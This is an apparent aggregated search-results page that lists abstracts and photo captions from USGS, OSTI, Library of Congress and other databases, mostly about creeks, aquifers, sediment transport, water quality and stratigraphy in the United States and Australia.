The hydrostratigraphic units of the Edwards and Trinity aquifers have been mapped and described herein using a classification system developed by Choquette and Pray (1970), which is based on porosity types being fabric or not-fabric selective. The naming of hydrostratigraphic units is also based on preexisting names and topographic or historical features that occur in outcrop. The only hydrostratigraphic unit of the Edwards aquifer present in the study area is VIII hydrostratigraphic unit. The mapped hydrostratigraphic units of the upper Trinity aquifer are, from top to bottom: the cavernous, Camp Bullis, upper evaporite, fossiliferous, and lower evaporite and they are interval equivalent to the upper member of the Glen Rose Limestone. The middle Trinity aquifer (interval equivalent to the lower member of the Glen Rose Limestone) contains, from top to bottom: the Bulverde, Little Blanco, Twin Sisters, Doeppenschmidt, Rust, and Honey Creek hydrostratigraphic units. The lower part of the middle Trinity aquifer is formed by the Hensell, Cow Creek, and Hammett hydrostratigraphic units which are interval equivalent to the Hensell Sand Member, the Cow Creek Limestone, and the Hammett Shale Member, respectively, of the Pearsall Formation.

Trestle #1, detail of connecting bolts and spikes on upper ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

Trestle #1, detail of connecting bolts and spikes on upper northeast abutment. View to east - Promontory Route Railroad Trestles, S.P. Trestle 779.91, One mile southwest of junction of State Highway 83 and Blue Creek, Corinne, Box Elder County, UT

Trestle #1, detail of southwest abutment upper timbers and gabion ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

Trestle #1, detail of southwest abutment upper timbers and gabion basket. View to west - Promontory Route Railroad Trestles, S.P. Trestle 779.91, One mile southwest of junction of State Highway 83 and Blue Creek, Corinne, Box Elder County, UT

5. DETAIL VIEW OF UPPER CHORD MEMBER, SHOWING MAKER'S PLATE ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

5. DETAIL VIEW OF UPPER CHORD MEMBER, SHOWING MAKER'S PLATE STATING 'KING IRON BRIDGE & MFG. CO., K & F & Z KING PATENT, CLEVELAND, O.' - Smith Road Bowstring Arch Bridge, Spanning Sycamore Creek at Smith Road (TR 62), Lykens, Crawford County, OH

A Quantitative Assessment of the Structure and Functions of a Mature Bottomland Hardwood Community: The Iatt Creek Ecosystem Site

Treesearch

Calvin E. Meier; John A. Stanturf; Emile S. Gardiner; Paul B. Hamel; Melvin L. Warren

1999-01-01

We report our efforts, initiated in 1995, to quantify ecological processes and functions in a relatively undisturbed, mature hardwood forest. The 320-ha site is located in central Louisiana on the upper reaches of Iatt Creek, an anastomosing minor stream bottom. The forest is a mature sweetgum (Liquidambar styraciflua L.)-cherrybark oak (

Ttheek'adn Ut'iin Yaaniida Qqnign' = Old Time Stories of the Scottie Creek People.

ERIC Educational Resources Information Center

Tyone, Mary; Kari, James, Ed.

This collection of 18 stories of the Scottie Creek People of Alaska is presented in both Upper Tanana, an Athabaskan language, and English in line-by-line translation. The stories, which include personal narratives, cultural explanations, and traditional tales, were recorded in 1988-94. The tales are told by Mary Tyone, a traditional storyteller…

The potential of carbon and nitrogen isotopes to conservatively discriminate between subsoil sediment sources

NASA Astrophysics Data System (ADS)

Laceby, J. Patrick; Olley, Jon

2013-04-01

Moreton Bay, in South East Queensland, Australia, is a Ramsar wetland of international significance. A decline of the bay's ecosystem health has been primarily attributed to sediments and nutrients from catchment sources. Sediment budgets for three catchments indicated gully erosion dominates the supply of sediment in Knapp Creek and the Upper Bremer River whereas erosion from cultivated soils is the primary sediment source in Blackfellow Creek. Sediment tracing with fallout-radionuclides confirmed subsoil erosion processes dominate the supply of sediment in Knapp Creek and the Upper Bremer River whereas in Blackfellow Creek cultivated and subsoil sources contribute >90% of sediments. Other sediment properties are required to determine the relative sediment contributions of channel bank, gully and cultivated sources in these catchments. The potential of total organic carbon (TOC), total nitrogen (TN), and carbon and nitrogen stable isotopes (δ13C, δ15N) to conservatively discriminate between subsoil sediment sources is presented. The conservativeness of these sediment properties was examined through evaluating particle size variations in depth core soil samples and investigating whether they remain constant in source soils over two sampling occasions. Varying conservative behavior and source discrimination was observed. TN in the

Groundwater Protection Program Calendar Year 1998 Groundwater Monitoring Report, U.S. Department of Energy Y-12 Plant, Oak Ridge, Tennessee

DOE Office of Scientific and Technical Information (OSTI.GOV)

NONE

1999-03-01

This annual monitoring report contains groundwater and surface water monitoring data obtained during calendar year (CY) 1998 by the Lockheed Martin Energy Systems, Inc. Y-12 Plant Groundwater Protection Program (GWPP) at the U.S. Department of Energy (DOE) Oak Ridge Y-12 Plant, Groundwater and surface water monitoring during CY 1998 was performed in three hydrogeologic regimes at the Y-12 Plant: the Bear Creek Hydrogeologic Regime (Bear Creek Regime), the Chestnut Ridge Hydrogeologic Regime (Chestnut Ridge Regime), and the Upper East Fork Poplar Creek Hydrogeologic Regime (East Fork Regime). The Bear Creek and East Fork regimes are located in Bear Creek Valleymore » (BCV), and the Chestnut Ridge Regime which is located south of the Y-12 Plant.« less

Fisheries and aquatic resources of Prairie Creek, Redwood National Park

USGS Publications Warehouse

Wilzbach, Peggy; Ozaki, Vicki

2017-01-01

This report synthesizes information on the status of fisheries and aquatic resources in the Prairie Creek sub-basin of Redwood Creek in Humboldt County in northern California, founded on a bibliographic search we conducted of historic and current datasets, unpublished reports, theses, and publications. The compiled Prairie Creek Fisheries Bibliography is available at https://irma.nps.gov/DataStore/. This report describes life histories and population status of the salmonid fishes, and species occurrence of non-salmonid fishes, amphibians, macroinvertebrates, and common benthic algae in Prairie Creek. We assessed habitat conditions that may limit salmonid production in relation to recovery targets established by the National Marine Fisheries Service and the State of California. Although salmon abundance has decreased from historic levels, production of juvenile salmonids in Prairie Creek is relatively stable and robust in comparison with the rest of the Redwood Creek Basin. Carrying capacity likely differs between the undisturbed upper reaches of Prairie Creek and reaches in the lower creek, the latter of which are affected by legacy impacts from timber and agricultural activities. Increased sediment supply and lack of channel structure and floodplain connection in lower Prairie Creek appear to be the greatest stressors to salmonid production. Existing datasets on aquatic resources and environmental variables are listed, and subject areas where few data are available are identified.

Water quality of the Swatara Creek Basin, PA

USGS Publications Warehouse

McCarren, Edward F.; Wark, J.W.; George, J.R.

1964-01-01

The Swatara Creek of the Susquehanna River Basin is the farthest downstream sub-basin that drains acid water (pH of 4.5 or less) from anthracite coal mines. The Swatara Creek drainage area includes 567 square miles of parts of Schuylkill, Berks, Lebanon, and Dauphin Counties in Pennsylvania.To learn what environmental factors and dissolved constituents in water were influencing the quality of Swatara Creek, a reconnaissance of the basin was begun during the summer of 1958. Most of the surface streams and the wells adjacent to the principal tributaries of the Creek were sampled for chemical analysis. Effluents from aquifers underlying the basin were chemically analyzed because ground water is the basic source of supply to surface streams in the Swatara Creek basin. When there is little runoff during droughts, ground water has a dominating influence on the quality of surface water. Field tests showed that all ground water in the basin was non-acidic. However, several streams were acidic. Sources of acidity in these streams were traced to the overflow of impounded water in unworked coal mines.Acidic mine effluents and washings from coal breakers were detected downstream in Swatara Creek as far as Harper Tavern, although the pH at Harper Tavern infrequently went below 6.0. Suspended-sediment sampling at this location showed the mean daily concentration ranged from 2 to 500 ppm. The concentration of suspended sediment is influenced by runoff and land use, and at Harper Tavern it consisted of natural sediments and coal wastes. The average daily suspended-sediment discharge there during the period May 8 to September 30, 1959, was 109 tons per day, and the computed annual suspended-sediment load, 450 tons per square mile. Only moderate treatment would be required to restore the quality of Swatara Creek at Harper Tavern for many uses. Above Ravine, however, the quality of the Creek is generally acidic and, therefore, of limited usefulness to public supplies, industries and recreation. In general, the quality of Swatara Creek improves after it mixes with water from the Upper Little and Lower Little Swatara Creeks, which converge with the main stream near Pine Grove. Jonestown is the first downstream location where Swatara Creek contains bicarbonate ion most of the time, and for the remaining downstream length of the stream, the concentration of bicarbonate progressively increases. Before the stream enters the Susquehanna River, chemical and diluting processes contributed by tributaries change the acidic calcium sulfate water, which characterizes the upper Swatara, to a calcium bicarbonate water.A major tributary to Swatara Creek is Quittapahilla Creek, which drains a limestone region and has alkaline characteristics. Effluents from a sewage treatment plant are discharged into this stream west of Lebanon. Adjacent to the Creek are limestone quarries and during the recovery of limestone, ground water seeps into the mining areas. This water is pumped to upper levels and flows over the land surface into Quittapahilla Creek. As compared with the 1940's, the quality of Swatara Creek is better today, and the water is suitable for more uses. In large part, this improvement is due to curtailment of anthracite coal mining and because of the controls imposed on new mines, stripping mines, and the related coal mining operations, by the Pennsylvania Sanitary Water Board. Thus, today (1962) smaller amounts of coal mine wastes are more effectively flushed and scoured away with each successive runoff during storms that affect the drainage basin. Natural processes neutralizing acid water in the stream by infiltration of alkaline ground water through springs and through the streambed are also indicated.

25. VIEW OF MILL FROM UPPER TAILINGS POND. SHOWS ROASTER ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

25. VIEW OF MILL FROM UPPER TAILINGS POND. SHOWS ROASTER ON LEFT EDGE OF VIEW. THE SECONDARY THICKENER No. 7 IS OFF VIEW TO THE RIGHT. - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

Stratigraphy and depositional environment of upper Cambrian Red Lion Formation, southwestern Montana

DOE Office of Scientific and Technical Information (OSTI.GOV)

Hayden, L.L.; Bush, J.H.

1987-08-01

The Red Lion Formation was examined along a northwest-southeast transect from Missoula to Bozeman, Montana. Lateral equivalents are the Snowy Range Formation east of Bozeman and the upper Fishtrap Dolomite in northwest Montana. The basal Dry Creek Member (0-5 m) consists of shale interbedded with quartz siltstones and sandstones. The overlying Sage Member, up to 115 meters in thickness, is characterized by ribbon carbonate beds containing lime mudstone and quartzose calcisiltite couplets arranged in fining-upward sequences 1-5 cm thick. Couplets are interlayered in places with thin (1-5 cm) to medium bedded (6-70 cm) units of laminated and non-laminated calcareous siltstones,more » flat-pebble conglomerates, trilobite packstones, cryptalgal boundstones, bioturbated lime mudstones and shales. In places, the upper Sage contains columnar and domal algal features. The Red Lion Formation is considered to be one Grand Cycle with the Dry Creek representing a lower inner detrital half-cycle and the Sage an upper carbonate half-cycle. The Dry Creek formed as the result of a westward clastic pulse from the inner detrital belt across an intrashelf basin onto outer middle carbonate peritidal complexes of the underlying Pilgrim Formation. Lower Sage ribbon rocks were deposited in storm-crossed, below wave-base areas. During deposition of the upper Sage, shallowing formed discontinuous algal-peritidal complexes over much of western and central Montana. These complexes were less extensive than earlier Cambrian buildups owing to slower rates of basin subsidence and clastic input suppressing carbonate production.« less

Streamflow, groundwater hydrology, and water quality in the upper Coleto Creek watershed in southeast Texas, 2009–10

USGS Publications Warehouse

Braun, Christopher L.; Lambert, Rebecca B.

2011-01-01

The U.S. Geological Survey (USGS), in cooperation with the Goliad County Groundwater Conservation District, Victoria County Groundwater Conservation District, Pecan Valley Groundwater Conservation District, Guadalupe-Blanco River Authority, and San Antonio River Authority, did a study to examine the hydrology and stream-aquifer interactions in the upper Coleto Creek watershed. Findings of the study will enhance the scientific understanding of the study-area hydrology and be used to support water-management decisions to help ensure protection of the Evangeline aquifer and surface-water resources in the study area. This report describes the results of streamflow measurements, groundwater-level measurements, and water quality (from both surface-water and groundwater sites) collected from three sampling events (July–August 2009, January 2010, and June 2010) designed to characterize groundwater (from the Evangeline aquifer) and surface water, and the interaction between them, in the upper Coleto Creek watershed upstream from Coleto Creek Reservoir in southeast Texas. This report also provides a baseline level of water quality for the upper Coleto Creek watershed. Three surface-water gain-loss surveys—July 29–30, 2009, January 11–13, 2010, and June 21–22, 2010—were done under differing hydrologic conditions to determine the locations and amounts of streamflow recharging or discharging from the Evangeline aquifer. During periods when flow in the reaches of the upper Coleto Creek watershed was common (such as June 2010, when 12 of 25 reaches were flowing) or probable (such as January 2010, when 22 of 25 reaches were flowing), most of the reaches appeared to be gaining (86 percent in January 2010 and 92 percent in June 2010); however, during drought conditions (July 2009), streamflow was negligible in the entire upper Coleto Creek watershed; streamflow was observed in only two reaches during this period, one that receives inflow directly from Audilet Spring and another reach immediately downstream from Audilet Spring. Water levels in the aquifer at this time declined to the point that the aquifer could no longer provide sufficient water to the streams to sustain flow. Groundwater-level altitudes were measured at as many as 33 different wells in the upper Coleto Creek watershed during three different survey events: August 4–7 and 12, 2009; January 12–14 and 22, 2010; and June 21–24, 2010. These data were used in conjunction with groundwater-level altitudes from three continuously monitored wells to generate potentiometric surface maps for each of the three sampling events to help characterize the groundwater hydrology of the Evangeline aquifer. The altitudes of potentiometric surface contours from all three sampling events are highest in the northeast part of the study area and lowest in the southwest part of the study area. Groundwater flow direction shifts from southeast to east across the watershed, roughly coinciding with the general flow direction of the main stem of Coleto Creek. Groundwater-level altitudes increased an average of 2.35 inches between the first and third sampling events as drought conditions in summer 2009 were followed by consistent rains the subsequent fall and winter, an indication that the aquifer responds relatively quickly to both the absence and relative abundance of precipitation. A total of 44 water-quality samples were collected at 21 different sites over the course of the three sampling events (August 4–7, 2009, January 12–14, 2010, and June 21–24, 2010). In most cases, samples from each site were analyzed for the following constituents: dissolved solids, major ions, alkalinity, nutrients, trace elements, and stable isotopes (hydrogen, oxygen, and strontium). Major-ion compositions were relatively consistent among most of the samples from the upper Coleto Creek watershed (generally calcium bicarbonate waters, with chloride often making a major contribution). Of the 23 trace elements that were analyzed in water samples as part of this study, only arsenic (in two samples) and manganese (in seven samples) had concentrations that exceeded public drinking-water standards or guidelines. At 3 of the 19 sites sampled—State wells 79-06-411, 79-14-204, and Audilet Spring—nitrate concentrations exceeded the threshold (2.0 milligrams per liter) associated with anthropogenic contributions. The majority of the water samples (36 out of 44) that were analyzed for stable isotopes of hydrogen and oxygen during the three sampling events plotted in a relatively tight cluster centered near the global meteoric water line. The eight remaining samples, which include the four surface-water samples collected in June 2010, the sample collected from Coleto Creek Reservoir in January 2010, and all three samples collected at State well 79-15-904, deviate from the global meteoric water line in a way that indicates evaporative losses. The isotopic signatures of the three samples collected at State well 79-15-904, when taken in conjunction with its proximity to Coleto Creek Reservoir, indicate that there is likely a hydraulic connection between the two. When all of the sites are examined as a whole, there is a general pattern in strontium concentrations across the entire watershed that indicates that both the surface-water and groundwater samples derive from a single source (the Evangeline aquifer) with relatively uniform water-rock interactions.

Correlation, sedimentology, structural setting, chemical composition, and provenance of selected formations in Mesoproterozoic Lemhi Group, central Idaho

USGS Publications Warehouse

Tysdal, Russell G.; Lindsey, David A.; Taggart, Joseph E.

2003-01-01

A unit of the Mesoproterozoic Apple Creek Formation of the Lemhi Range previously was correlated with part of the lower subunit of the Mesoproterozoic Yellowjacket Formation in the Salmon River Mountains. Strata currently assigned to the middle subunit of the Yellowjacket Formation lie conformably above the Apple Creek unit in the Salmon River Mountains, and are here renamed the banded siltite unit and reassigned to the Apple Creek Formation. Almost all of the banded siltite unit is preserved within the Salmon River Mountains, where it grades upward into clastic rocks that currently are assigned to the upper subunit of the Yellowjacket Formation and that here are reassigned to the Gunsight Formation. The banded siltite unit of the Apple Creek Formation is composed of a turbidite sequence, as recognized by previous workers. Uppermost strata of the unit were reworked by currents, possibly storm generated, and adjusted to a high water content by developing abundant soft-sediment deformation features. Basal strata of the overlying Gunsight Formation in the Salmon River Mountains display abundant hummocky crossbeds, storm-generated features deposited below fair-weather wave base, that are conformable above the storm-reworked deposits. The hummocky crossbedded strata grade upward into marine shoreface strata deposited above fair-weather wave base, which in turn are succeeded by fluvial strata. Hummocky and shoreface strata are absent from the Gunsight Formation in the Lemhi Range. The major thickness of the Gunsight Formation in both the Salmon River Mountains and the Lemhi Range is composed of fluvial rocks, transitional in the upper part into marine rocks of the Swauger Formation. The fluvial strata are mainly characterized by stacked sheets of metasandstone and coarse siltite; they are interpreted as deposits of braided rivers. The Poison Creek thrust fault of the Lemhi Range extends northwestward through the study area in the east-central part of the Salmon River Mountains. The Apple Creek and Gunsight Formations on the southwest side of the thrust fault were transported to the northeast as part of the Poison Creek thrust sheet. A segment of the thrust fault within the Gunsight Formation in the Salmon River Mountains subsequently underwent normal displacement. Along this segment, lower Gunsight strata on the southwest were juxtaposed against upper Gunsight and Swauger strata on the northeast.

Hydrogeology of Valley-Fill Aquifers and Adjacent Areas in Eastern Chemung County, New York

USGS Publications Warehouse

Heisig, Paul M.

2015-10-19

Water-resource potential is greatest within saturated sand and gravel in the Chemung River valley (nearly 1 mile wide), especially where induced infiltration of additional water from the Chemung River is possible. The second most favorable area is the Newtown Creek valley at the confluence of Newtown Creek with North Branch Newtown Creek east of Horseheads, N.Y. Extensive sand and gravel deposits within the Breesport, N.Y., area are largely unsaturated but may have greater saturation along the east side of Jackson Creek immediately north of Breesport. Till deposits confine sand and gravel along Newtown Creek at Erin, N.Y., and along much of the upper reach of North Branch Newtown Creek; this confining unit may limit recharge and potential well yield. The north-south oriented valleys of Baldwin and Wynkoop Creeks end at notched divides that imply input of glacial meltwater and limited sediment from outside of the present watersheds. These two valleys are relatively narrow but contain variably sorted sand and gravel, which, in places, may be capable of supplying modest-size community water systems.

Channel, floodplain, and wetland responses to floods and overbank sedimentation, 1846-2006, Halfway Creek Marsh, Upper Mississippi Valley, Wisconsin

USGS Publications Warehouse

Fitzpatrick, F.A.; Knox, J.C.; Schubauer-Berigan, J. P.

2009-01-01

Conversion of upland forest and prairie vegetation to agricultural land uses, following Euro-American settlement in the Upper Mississippi River System, led to accelerated runoff and soil erosion that subsequently transformed channels, floodplains, and wetlands on bottomlands. Halfway Creek Marsh, at the junction of Halfway Creek and the Mississippi River on Wisconsin's western border, is representative of such historical transformation. This marsh became the focus of a 2005-2006 investigation by scientists from the U.S. Geological Survey, the University of Wisconsin- Madison, and the U.S. Environmental Protection Agency, who used an understanding of the historical transformation to help managers identify possible restoration alternatives for Halfway Creek Marsh. Field-scale topographic surveys and sediment cores provided data for reconstructing patterns and rates of historical overbank sedimentation in the marsh. Information culled from historical maps, aerial photographs, General Land Offi ce Survey notes, and other historical documents helped establish the timing of anthropogenic disturbances and document changes in channel patterns. Major human disturbances, in addition to agricultural land uses, included railroad and road building, construction of artifi cial levees, drainage alterations, and repeated dam failures associated with large floods. A volume of approximately 1,400,000 m3, involving up to 2 m of sandy historical overbank deposition, is stored through the upper and lower marshes and along the adjacent margins of Halfway Creek and its principal tributary, Sand Lake Coulee. The estimated overbank sedimentation rate for the entire marsh is ??3,000 m3 yr-1 for the recent period 1994-2006. In spite of reduced surface runoff and soil erosion in recent years, this recent sedimentation rate still exceeds by ??4 times the early settlement (1846-1885) rate of 700 m3 yr-1, when anthropogenic acceleration of upland surface runoff and soil erosion was beginning. The highest rate of historical bottomland sedimentation occurred from 1919 to 1936, when the estimated overbank sedimentation rate was 20,400 m3 yr- 1. This rate exceeded by nearly 30 times the 1846-1886 rate. Artifi cial levees were constructed along the upper reach of Halfway Creek in the marsh during the early twentieth century to restrict fl ooding on the adjacent bottomlands. Anomalously high overbank sedimentation rates subsequently occurred on the fl oodplain between the levees, which also facilitated more effi cient transport of sediment into the lower marsh bottomland. Although overbank sedimentation rates dropped after 1936, corresponding to the widespread adoption of soil-conservation and agricultural best-management practices, the continuation of anomalously high overbank sedimentation between the levees led to increased bank heights and development of a relatively deep channel. The deep cross-section morphology is commonly mistaken as evidence of channel incision; however, this morphology actually resulted from excessive overbank sedimentation. The historical metamorphosis of the Halfway Creek channel and riparian wetlands underscores the importance of understanding the long-term history of channel and fl oodplain evolution when restoration of channels and riparian wetlands are under consideration. Sedimentation patterns and channel morphology for Halfway Creek Marsh probably are representative of other anthropogenically altered riparian wetlands in the Upper Mississippi River System and similar landscapes elsewhere.

4. EXTERIOR OF SOUTH END OF BUILDING 105 SHOWING TALL ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

4. EXTERIOR OF SOUTH END OF BUILDING 105 SHOWING TALL RUSTIC STYLE CHIMNEY WITH GABLE FRAME, METAL ROOF, AND CONCRETE WALKWAY AND STEP TO OPEN SIDE-ENTRY DOOR AT PHOTO ENTER. ORIGINAL DECORATIVE WOOD SHIPLAP SIDING ON UPPER END GABLE HAS BEEN COVERED WITH ASPHALT SHINGLES. VIEW TO NORTH. - Rush Creek Hydroelectric System, Worker Cottage, Rush Creek, June Lake, Mono County, CA

Hydraulic geometry and sediment data for the South Fork Salmon River, Idaho, 1985-86

USGS Publications Warehouse

Williams, Rhea P.; O'Dell, Ivalou; Megahan, Walter F.

1989-01-01

Hydraulic geometry, suspended-sediment, and bedload samples were collected at three sites in the upper reach of the South Fork Salmon River drainage basin from April 1985 to June 1986. Sites selected were South Fork Salmon River near Krassel Ranger Station, Buckhorn Creek, and North Fork Lick Creek. Results of the data collection are presented in this report.

Overview of a simple model describing variation of dissolved organic carbon in an upland catchment

USGS Publications Warehouse

Boyer, Elizabeth W.; Hornberger, George M.; Bencala, Kenneth E.; McKnight, Diane M.

1996-01-01

Hydrological mechanisms controlling the variation of dissolved organic carbon (DOC) were investigated in the Deer Creek catchment located near Montezuma, CO. Patterns of DOC in streamflow suggested that increased flows through the upper soil horizon during snowmelt are responsible for flushing this DOC-enriched interstitial water to the streams. We examined possible hydrological mechanisms to explain the observed variability of DOC in Deer Creek by first simulating the hydrological response of the catchment using TOPMODEL and then routing the predicted flows through a simple model that accounted for temporal changes in DOC. Conceptually the DOC model can be taken to represent a terrestrial (soil) reservoir in which DOC builds up during low flow periods and is flushed out when infiltrating meltwaters cause the water table to rise into this “reservoir”. Concentrations of DOC measured in the upper soil and in streamflow were compared to model simulations. The simulated DOC response provides a reasonable reproduction of the observed dynamics of DOC in the stream at Deer Creek.

Suspended-sediment and turbidity responses to sediment and turbidity reduction projects in the Beaver Kill, Stony Clove Creek, and Warner Creek, Watersheds, New York, 2010–14

USGS Publications Warehouse

Siemion, Jason; McHale, Michael R.; Davis, Wae Danyelle

2016-12-05

Suspended-sediment concentrations (SSCs) and turbidity were monitored within the Beaver Kill, Stony Clove Creek, and Warner Creek tributaries to the upper Esopus Creek in New York, the main source of water to the Ashokan Reservoir, from October 1, 2010, through September 30, 2014. The purpose of the monitoring was to determine the effects of suspended-sediment and turbidity reduction projects (STRPs) on SSC and turbidity in two of the three streams; no STRPs were constructed in the Beaver Kill watershed. During the study period, four STRPs were completed in the Stony Clove Creek and Warner Creek watersheds. Daily mean SSCs decreased significantly for a given streamflow after the STRPs were completed. The most substantial decreases in daily mean SSCs were measured at the highest streamflows. Background SSCs, as measured in water samples collected in upstream reference stream reaches, in all three streams in this study were less than 5 milligrams per liter during low and high streamflows. Longitudinal stream sampling identified stream reaches with failing hillslopes in contact with the stream channel as the primary sediment sources in the Beaver Kill and Stony Clove Creek watersheds.

Low-flow water-quality characterization of the Gore Creek watershed, upper Colorado River basin, Colorado, August 1996

USGS Publications Warehouse

Wynn, Kirby H.; Spahr, Norman E.

1998-01-01

The Upper Colorado River Basin (UCOL) is one of 59 National Water-Quality Assessment (NAWQA) study units designed to assess the status and trends of the Nation?s water quality (Leahy and others, 1990). The UCOL study unit began operation in 1994, and surface-water-quality data collection at a network of 14 sites began in October 1995 (Apodaca and others, 1996; Spahr and others, 1996). Gore Creek, which flows through Vail, Colorado, originates in pristine alpine headwaters and is designated a gold-medal trout fishery. The creek drains an area of about 102 square miles and is a tributary to the Eagle River. Gore Creek at the mouth near Minturn (site 13 in fig. 1) is one of the 14 sites in the UCOL network. This site was selected to evaluate water quality resulting from urban development and recreational land use. The Gore Creek watershed has undergone rapid land-use changes since the 1960?s as the Vail area shifted from traditional mountain ranchlands to a four-season resort community. Residential, recreational, commercial, and transportation development continues near Gore Creek and its tributaries to support the increasing permanent and tourist population of the area. Interstate 70 runs through the watershed from Vail Pass near site 14, along the eastern side of Black Gore Creek, and along the northern side of the main stem of Gore Creek to the mouth of the watershed (fig. 1). A major local concern is how increasing urbanization/recreation affects the water quality, gold-medal trout fishery, and aesthetic values of Gore Creek. An evaluation of the spatial characteristics of water quality in the watershed upstream from site 13 at the mouth of Gore Creek (fig. 1) can provide local water and land managers with information necessary to establish water policy and make land-use planning decisions to maintain or improve water quality. Historical data collected at the mouth of Gore Creek provide information about water quality resulting from land use, but a synoptic sampling is needed to determine the distribution and sources of water-quality constituents at one point in time. In August 1996, a low-flow synoptic sampling for analyses of water-quality properties and constituents at sites in the Gore Creek watershed was done by the U.S. Geological Survey, in cooperation with the Town of Vail, Eagle River Water and Sanitation District, Upper Eagle River Water Authority, and Northwest Colorado Council of Governments, to evaluate the water quality of Gore Creek. The August low-flow period can be important from water-quality and stream ecology perspectives. There is less water available to dilute any contaminants entering the streams, and stream temperatures are highest during August. Physical habitat for aquatic plants and animals is smaller than during most other times of the year. To address these more extreme water-quality and ecological conditions, the synoptic sampling was conducted during the summer low-flow period. Specific objectives of this sampling included: 1. Establish a current data set representing the spatial characteristics of low-flow water-quality conditions in the Gore Creek watershed, and 2. Develop some understanding of land-use and water-quality relations in the watershed. This fact sheet presents hydrologic background information and an analysis of general water-quality properties and constituents, trace elements, and nutrients collected in water samples during low-flow synoptic sampling of the Gore Creek watershed. The U.S. Geological Survey also is conducting a study of the algae and macroinvertebrate communities and physical habitat of streams in the Gore Creek watershed during low flow. This study is designed to provide information about land-use and stream ecology relations in the watershed.

Data on polychlorinated biphenyls, dieldrin, lead, and cadmium in Wisconsin and Upper Michigan tributaries to Green Bay, July 1987 through April 1988

USGS Publications Warehouse

House, L.B.

1990-01-01

Neither dieldrin nor cadmium was detected in any of the sampled tributaries. Detectable concentrations of polychlorinated biphenyls and lead were found at only three sites. Polychorinated biphenyls (0.10 microgram per gram) and lead (10 milligrams per kilogram) were found in the bottom sediment of Duck Creek, a western-shore tributary near the city of Green Bay. Lead (10 milligrams per kilogram) also was found in the bottom sediment of the Suamico River near the mouth, about 5 miles north of Duck Creek. Lead (4 micrograms per liter) was detected in a spring-runoff sample from the Fishdam River, a tributary from upper Michigan.

The geochemistry of oils and gases from the Cumberland overthrust sheet in Virginia and Tennessee: Chapter G.12 in Coal and petroleum resources in the Appalachian basin: distribution, geologic framework, and geochemical character

USGS Publications Warehouse

Dennen, Kristen O.; Deering, Mark; Burruss, Robert A.; Ruppert, Leslie F.; Ryder, Robert T.

2014-01-01

This study presents high-resolution gas chromatograms of oils and molecular and isotopic analyses of oil-associated gases from 17 wells producing in the Upper Cambrian to Lower Ordovician Knox Group, the Middle and Upper Ordovician Stones River Group, and the Upper Ordovician Trenton Limestone in the Cumberland overthrust sheet. The wells are located in the Ben Hur and Rose Hill fields in Lee County, Va., and in the Swan Creek field in Hancock and Claiborne Counties, Tenn. They produce oils typical of those from source rocks that are rich in Gloeocapsomorpha prisca (G. prisca) (Assemblage A-type kerogen). The Rose Hill oils appear to come from a source that contains a higher proportion of Assemblage A-type kerogen than the Ben Hur and Swan Creek oils. Extrapolation of the δ13C compositions of oil-associated gases to possible kerogen compositions gives estimates of -23 to -24 per mil within the range of isotopic compositions of known G. prisca source material. Gases produced from the Knox Group wells in the Swan Creek field are different from those in the Middle and Upper Ordovician reservoirs and come from a source with a broader range of isotopic values. Trends in isotopic and gasoline-range compositional parameters of the oils and associated gas isotopic and molecular compositions are most likely influenced by changes in local source depositional facies.

Late Cretaceous base level lowering in Campanian and Maastrichtian depositional sequences, Kure Beach, North Carolina

USGS Publications Warehouse

Harris, W.B.; ,

2006-01-01

Campanian through Maastrichtian mixed carbonate and siliciclastic sediments in a 422 m continuous core drilled at Kure Beach, NC provide a record of sea-level change. Based on lithology and stratigraphy, depositional sequences are defined, and calcareous nannofossil zones and 87Sr/86Sr ratios and corresponding ages using the LOWESS Table determined. Campanian and Maastrichtian sediments comprise six depositional sequences. The oldest is Tar Heel 1 and contains calcareous nannofossils that indicate assignment to the upper part of Zones CC18a, CC18c and the lower part of CC19. 87Sr/86 Sr ratios indicate ages from 83.2 to 80.0 Ma or lower Campanian. Tar Heel II contains calcareous nannofossils that indicate assignment to the upper part of Zone CC 19 and CC20. 87Sr/86Sr ratios indicate ages from 78.0 to 76.3 Ma or middle Campanian. Donoho Creek I and II are thin and contain calcareous nannofossils referable to upper Zone CC21 and Zone CC22, and to CC23, respectively. The top of Donoho Creek II marks the Campanian-Maastrichtian boundary. Donoho Creek I 87Sr/86Sr ratios cluster into two groups, and provide ages from 78.0 to 76.2 Ma and 73.7 to 72.3 Ma, respectively. 87Sr/86Sr ratios in Donoho Creek II indicate ages from 71.4 to 69.6 Ma. Two Maastrichtian sequences are present; the lowermost Peedee I contains calcareous nannofossils that place it in Zones CC25a and CC25b. 87Sr/86Sr r ratios indicate an age from 69.3 to 66.9 Ma or late Maastrichtian. Peedee II is assigned to calcareous nannofossil Zone CC26a. 87Sr/86Sr ratios indicate ages from 66.4 to 65.2 Ma or late Maastrichtian. The four Campanian sequences correlate to three depositional sequences in New Jersey; the sequence boundary between upper Campanian Donoho Creek I and Donoho Creek II is not recognized in New Jersey. This boundary is interpreted to result from Gulf Stream impingement and subsequent erosion on the outer shelf. The two Maastrichtian sequences recognized in the Kure Beach core correlate to the two identified Maastrichtian sequences in New Jersey. These data support base-level lowering of sea-level during the Campanian-Maastrichtian, and suggest that the western margin of the North Atlantic may contain one of the best Late Cretaceous records of sea-level change.

Channel, Floodplain, And Wetland Responses To Floods And Overbank Sedimentation, 1846-2006, Halfway Creek Marsh, Upper Mississippi Valley, Wisconsin

EPA Science Inventory

Conversion of upland forest and prairie vegetation to agricultural land uses, following Euro-American settlement in the Upper Mississippi River System, led to accelerated runoff and soil erosion that subsequently transformed channels, floodplains, and wetlands on bottomlands. Ha...

77 FR 6534 - Malheur National Forest; Oregon; Summit Logan Grazing Authorization Project

Federal Register 2010, 2011, 2012, 2013, 2014

2012-02-08

... Creek and Summit Prairie allotments. These allotments are within the Upper Malheur River and Upper North Fork Malheur River watersheds. The Summit Logan Grazing Authorization Project area is located south and west of Prairie City, Oregon and encompasses approximately 40,272 acres of National Forest System Lands...

Phosphorus Loadings Associated with a Park Tourist Attraction: Limnological Consequences of Feeding the Fish

NASA Astrophysics Data System (ADS)

Turner, Andrew M.; Ruhl, Nathan

2007-04-01

